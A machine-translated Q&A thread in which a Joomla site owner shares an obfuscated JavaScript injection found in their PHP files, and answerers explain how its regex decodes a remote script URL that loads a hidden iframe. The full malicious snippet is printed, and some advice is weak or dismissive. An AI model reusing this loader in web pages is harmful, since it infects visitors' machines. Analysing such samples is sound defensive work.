Meu Joomla! site foi hackeado repetidamente. Alguém, de alguma forma, conseguiu injetar o seguinte lixo nos principais scripts de php, mas não quero falar sobre a configuração do Joomla. O site não é muito visitado (às vezes temo ser o único visitante desse site ...) e não me importo muito em ter o site novamente instalado e funcionando. Vou lidar com isso eventualmente.
Minha pergunta é, como esse lixo funciona? Eu olho para ele e não vejo como isso consegue fazer algum mal? O que ele faz é tentar baixar um arquivo PDF chamado ChangeLog.pdf, que está infectado com um trojan e depois de aberto irá congelar seu Acrobat e causar estragos em sua máquina. Como isso faz, eu não sei, eu não me importo. Mas como a seguinte parte do script invoca o download?
<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->
ESET detectou este código como JS / TrojanDownloader.Agent.NRO trojan
fonte
Respostas:
Observe a
replace
chamada após a string bagunçado gigante:.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')
.Ele remove a maioria dos caracteres especiais, transformando-o em um URL normal:
(Eu mudei manualmente
http:
paraevil:
)Observe que a regex poderia ter sido simplificada para
.replace(/[#$@^&()!]/ig, '')
Se você olhar o script, verá que é um script muito simples que injeta um IFRAME oculto contendo o caminho
/index.php?ys
do mesmo domínio.Solicitei essa página no Fiddler e ela não tinha conteúdo.
fonte
+
depois da classe de caractere também ... se estiver usando regex.Essas respostas podem ajudá-lo a entender a natureza do código JavaScript malicioso, mas o que você deve procurar é uma maneira de fechar a lacuna inerente ao mecanismo Joomla. Os frameworks pré-embalados estão sujeitos a brechas, intencionais ou não, especialmente quando você leva em consideração que eles são projetados para funcionar em ambientes UNIX, Mac e Windows.
Meu trabalho requer que eu execute muitos domínios, aplicativos e estruturas em muitos tipos de servidores e sistemas para clientes e para mim. Com o tempo, tenho visto mais e mais bots rastreando esses sistemas em busca de brechas / entradas conhecidas por meio de entradas dos fundos criadas por essas estruturas. Boa coisa quando eu uso qualquer tipo de estrutura, o que raramente faço, certifico-me de renomear a maioria, senão toda a estrutura do arquivo para me livrar dessas lacunas / backdoor irritantes. No mínimo, você pode renomear diretórios, o que confundirá a maioria dos bots, mas minha maneira é eliminar completamente as referências que dão pistas sobre a natureza da estrutura, o que inclui renomear toda a estrutura do arquivo, não apenas os diretórios. Sempre mantenha um mapa das novas convenções de nomenclatura relativas às convenções de nomenclatura antigas para facilitar a inclusão de plug-ins em sua estrutura de base. Depois de pegar o jeito, você pode ir tão longe quanto renomear programaticamente toda a estrutura de arquivos do framework para resultados mais rápidos, isto é especialmente útil quando se tem que lidar com clientes que precisam ser capazes de atualizar seu framework com plug-ins e similares.
fonte
Ele apenas substitui o regex no url do script para fornecer a você
NOTA: NÃO SIGA O LINK ABAIXO (inserido
**
para impedir os passadores de cópias)Enquanto o
src
fonte
Ele usa a função replace para substituir os chars lixo usando regex, nada de errado com o código:
fonte
Seu script de carregamento de
E esse script carrega
iframe
com visibilidadehidden
fonte
Quando você lê tudo, descobre que é uma string seguida por um comando de substituição.
fonte
Eu tenho o mesmo sript em minhas páginas em arquivos de índice *. *. Estou escrevendo meu próprio código em PHP. Minha pergunta não é como isso funciona, mas estou perguntando como proteger se você conhece seus backdoors. Eu mudei os formulários e li $ _POST e $ _GET com a substituição de <> e http: // etc.
fonte
Meus dois centavos. Você / pode instalar uma ferramenta de backup Joomla como o Joomlapack?
Eu o configurei para ser executado por meio de um script CHRON para manter as mercadorias à mão no caso de os assaltantes começarem a assaltar.
Qual versão do Joomla você está executando?
As versões 1.0.X não estão mais sendo atualizadas e sua idade está realmente começando a aparecer. Você deve fazer um backup e planejar a atualização para 1.5 e antecipar as maravilhas do 1.6
fonte